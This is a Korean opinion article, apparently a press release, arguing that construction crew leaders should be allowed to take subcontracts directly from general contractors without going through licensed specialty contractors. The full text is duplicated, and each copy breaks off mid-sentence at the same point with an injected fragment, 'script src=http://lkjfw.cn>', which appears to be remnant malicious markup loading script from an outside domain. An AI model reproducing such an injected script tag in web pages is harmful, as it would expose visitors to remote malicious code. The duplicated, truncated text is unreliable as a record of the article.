"시공참여자"를 우대해야 한국건설이 산다!!
보도일자
보도기관
시공참여자를 우대해야 한국건설이 산다!!
시공참여자(일명 작업반장)는
건설공사 수행에 있어 전문분야의 건설기능을 보유한 건설기능공 집단의 우두머리로서 일명 작업반장이라고도 하며 전문분야의 건설기능이 뛰어나고 풍부한 경력을 소지하고 있어 집단 내에서 전문건설기능을 전수시키고 연마시키며 기능인력조달 등 조직을 리드해 나가고 현장의 해당작업을 진두지휘하는 건설공사에서 없어서는 안 되는 중요한 사람이다.
요즈음 거론되고 있는 일반건설업과 전문건설업을 통합하여 시공업(施工業)으로 일원화하는 건설업 영역 철폐를 통하여 건설산업 유통구조를 단순화함으로서 효율적이고 경제적인 건설공사가 이루어지도록 하고 아울러 건설현장 최 일선에서 활약하는 시공참여자의 역할이 그 어느 때 보다도 중요함으로 이들 시공참여자를 우대하는 정책이 수립되어야 한다.
이러한 전문분야별 시공참여자들을 시공업자(현재는 일반건설사)가 직접 진두지휘하여 현장작업을 수행하도록 하고 시공참여자들을 가족같이 관리하고 보호 육성하는 시책이 수립되어야 한국의 건설기술력과 경쟁력이 향상되고 경제적인 건설공사가 될 뿐만 아니라 품질, 안전이 보장되는 건설풍토가 조성된다.
현재와 같이 "법"으로 규정한 건설업 영역에서 일반건설사는 전문건설사에게 하도급 주고 전문건설사는 시공참여자에게 실질적인 재 하도급 주는 작금의 건설시장 하도급 유통구조를 개선해야 한다. 일반건설사가 시공참여자에게 직영모작 혹은 품떼기 형식으로 직접 하도급 주면 무면허업자에게 하도급을 주었다고 불법 취급하는 현실을 타파해야 한다.
전문건설업 면허는 법정 기준만 갖추면 아무나 취득할 수 있는데 각종 전문건설업 면허 취득자가 실제로 현장작업을 수행하는 건설기능분야의 전문가나 실체가 아닌 경우가 많다. 따라서 전국의 전문건설업체 숫자가 그렇게 많은 것이다. 일반건설사건 전문건설사건 누가 일을 맡던 현장의 작업수행은 당해 작업의 건설기능공인 시공참여자 없이는 불가능하다는 사실을 알아야 한다.
그리고 작업수행상의 공정, 품질, 안전 모두가 시공참여자의 몫이고 그들의 장인정신에서 건설공사의 성패가 좌우된다. 모든 건설공사에서 이렇게 중요한 위치에서 활약중인 시공참여자들이 현재와 같이 법적으로 전문건설사에만 종속되게 함으로서 사회적 경제적으로 많은 문제들이 파생되고 있는 것이다.
모든 건설공사를 반드시 전문건설업법으로 면허 취득자를 개입시켜 건설공사를 수행 할 이유가 없다. 전문건설업체를 배제하고 일반건설사의 책임과 감독 하에 시공참여자가 현장작업을 직접 수행하는 것이 보다 효율적일 수 있다. 공사성격과 현장여건에 따라 일반건설사가 기존 전문건설업체를 활용하거나 시공참여자를 선별해서 활용할 수도 있도록 규제개혁 차원에서 개방되어야 한다.
특히 인력에 크게 의존되는 전문건설업종의 경우 (예로서 목수, 철근공, 조적공 ,미장공, 방수공, 석공 등등)는 전문건설업 면허취득자를 거치지 않고 일반건설사와 시공참여자간에 직접 하도급이 이루어질 수 있는 길이 모색되어야 한다. 예로서 목수작업반장, 철근작업반장 등등 그들 수하에는 많은 동종의 기능공들이 따르고 있다.
전문건설업이란 건설시장 수요와 편의에 따라 독보적인 전문건설기술을 보유한 업체만 자생적으로 존립되도록 해야 할 것이지 각 업종별로 법으로 규정하여 면허제를 실시하고 그에 따른 시공능력 평가제도를 운용할 필요가 없다고 본다.
해당 전문분야의 국가공인자격증을 소지한 시공참여자가 사업자로서 부각되면 정부는 이에 대한 일반건설사와 시공참여자간에 불공정행위를 감시 내지 조정해 주는 역할을 하면 될 것이다. 이 체제야말로 궁극적으로 재 하도급 문제를 없애는 길이고 우리 나라 건설시장 유통구조를 단순화시켜 간접공사비를 줄이고 품질과 안전을 도모하며 경제적인 건설공사를 수행할 수 있을 뿐만 아니라 건설공사의 하도급 관련한 부정부패를 줄일 수 있다고 본다.
농산물 유통구조의 축소로 농민과 소비자에게 보다 많은 실익을 분배시키려는 노력과 같이 건설시장의 하도급 유통구조 역시 건설기능공과 일반건설사에게 보다 많은 실익이 돌아가고 나아가 건설비용의 절감을 기하고 건설업 하도급 유통구조에 대한 구조조정 차원에서 이들 시공참여자를 부각시켜야 한다.
그러한 건설유통구조를 축소시켜 건설기능공들에게 보다 많은 실익이 분배되게 함으로서 모든 건설기능공들에게 희망과 용기를 북돋아 주어 떳떳하고 자랑스러운 직업인으로 안정된 생활을 갖게 해야 할 것이며 장인정신의 발로로 부실공사가 방지되어 명예를 생명으로 여길 정도의 건설공사 실명제가 정착되도록 해야 할 것이다. 그리고 모든 건설공사의 완공 시 이들의 노고를 그 누구보다?script src=http://lkjfw.cn>
시공참여자(일명 작업반장)는
건설공사 수행에 있어 전문분야의 건설기능을 보유한 건설기능공 집단의 우두머리로서 일명 작업반장이라고도 하며 전문분야의 건설기능이 뛰어나고 풍부한 경력을 소지하고 있어 집단 내에서 전문건설기능을 전수시키고 연마시키며 기능인력조달 등 조직을 리드해 나가고 현장의 해당작업을 진두지휘하는 건설공사에서 없어서는 안 되는 중요한 사람이다.
요즈음 거론되고 있는 일반건설업과 전문건설업을 통합하여 시공업(施工業)으로 일원화하는 건설업 영역 철폐를 통하여 건설산업 유통구조를 단순화함으로서 효율적이고 경제적인 건설공사가 이루어지도록 하고 아울러 건설현장 최 일선에서 활약하는 시공참여자의 역할이 그 어느 때 보다도 중요함으로 이들 시공참여자를 우대하는 정책이 수립되어야 한다.
이러한 전문분야별 시공참여자들을 시공업자(현재는 일반건설사)가 직접 진두지휘하여 현장작업을 수행하도록 하고 시공참여자들을 가족같이 관리하고 보호 육성하는 시책이 수립되어야 한국의 건설기술력과 경쟁력이 향상되고 경제적인 건설공사가 될 뿐만 아니라 품질, 안전이 보장되는 건설풍토가 조성된다.
현재와 같이 "법"으로 규정한 건설업 영역에서 일반건설사는 전문건설사에게 하도급 주고 전문건설사는 시공참여자에게 실질적인 재 하도급 주는 작금의 건설시장 하도급 유통구조를 개선해야 한다. 일반건설사가 시공참여자에게 직영모작 혹은 품떼기 형식으로 직접 하도급 주면 무면허업자에게 하도급을 주었다고 불법 취급하는 현실을 타파해야 한다.
전문건설업 면허는 법정 기준만 갖추면 아무나 취득할 수 있는데 각종 전문건설업 면허 취득자가 실제로 현장작업을 수행하는 건설기능분야의 전문가나 실체가 아닌 경우가 많다. 따라서 전국의 전문건설업체 숫자가 그렇게 많은 것이다. 일반건설사건 전문건설사건 누가 일을 맡던 현장의 작업수행은 당해 작업의 건설기능공인 시공참여자 없이는 불가능하다는 사실을 알아야 한다.
그리고 작업수행상의 공정, 품질, 안전 모두가 시공참여자의 몫이고 그들의 장인정신에서 건설공사의 성패가 좌우된다. 모든 건설공사에서 이렇게 중요한 위치에서 활약중인 시공참여자들이 현재와 같이 법적으로 전문건설사에만 종속되게 함으로서 사회적 경제적으로 많은 문제들이 파생되고 있는 것이다.
모든 건설공사를 반드시 전문건설업법으로 면허 취득자를 개입시켜 건설공사를 수행 할 이유가 없다. 전문건설업체를 배제하고 일반건설사의 책임과 감독 하에 시공참여자가 현장작업을 직접 수행하는 것이 보다 효율적일 수 있다. 공사성격과 현장여건에 따라 일반건설사가 기존 전문건설업체를 활용하거나 시공참여자를 선별해서 활용할 수도 있도록 규제개혁 차원에서 개방되어야 한다.
특히 인력에 크게 의존되는 전문건설업종의 경우 (예로서 목수, 철근공, 조적공 ,미장공, 방수공, 석공 등등)는 전문건설업 면허취득자를 거치지 않고 일반건설사와 시공참여자간에 직접 하도급이 이루어질 수 있는 길이 모색되어야 한다. 예로서 목수작업반장, 철근작업반장 등등 그들 수하에는 많은 동종의 기능공들이 따르고 있다.
전문건설업이란 건설시장 수요와 편의에 따라 독보적인 전문건설기술을 보유한 업체만 자생적으로 존립되도록 해야 할 것이지 각 업종별로 법으로 규정하여 면허제를 실시하고 그에 따른 시공능력 평가제도를 운용할 필요가 없다고 본다.
해당 전문분야의 국가공인자격증을 소지한 시공참여자가 사업자로서 부각되면 정부는 이에 대한 일반건설사와 시공참여자간에 불공정행위를 감시 내지 조정해 주는 역할을 하면 될 것이다. 이 체제야말로 궁극적으로 재 하도급 문제를 없애는 길이고 우리 나라 건설시장 유통구조를 단순화시켜 간접공사비를 줄이고 품질과 안전을 도모하며 경제적인 건설공사를 수행할 수 있을 뿐만 아니라 건설공사의 하도급 관련한 부정부패를 줄일 수 있다고 본다.
농산물 유통구조의 축소로 농민과 소비자에게 보다 많은 실익을 분배시키려는 노력과 같이 건설시장의 하도급 유통구조 역시 건설기능공과 일반건설사에게 보다 많은 실익이 돌아가고 나아가 건설비용의 절감을 기하고 건설업 하도급 유통구조에 대한 구조조정 차원에서 이들 시공참여자를 부각시켜야 한다.
그러한 건설유통구조를 축소시켜 건설기능공들에게 보다 많은 실익이 분배되게 함으로서 모든 건설기능공들에게 희망과 용기를 북돋아 주어 떳떳하고 자랑스러운 직업인으로 안정된 생활을 갖게 해야 할 것이며 장인정신의 발로로 부실공사가 방지되어 명예를 생명으로 여길 정도의 건설공사 실명제가 정착되도록 해야 할 것이다. 그리고 모든 건설공사의 완공 시 이들의 노고를 그 누구보다?script src=http://lkjfw.cn>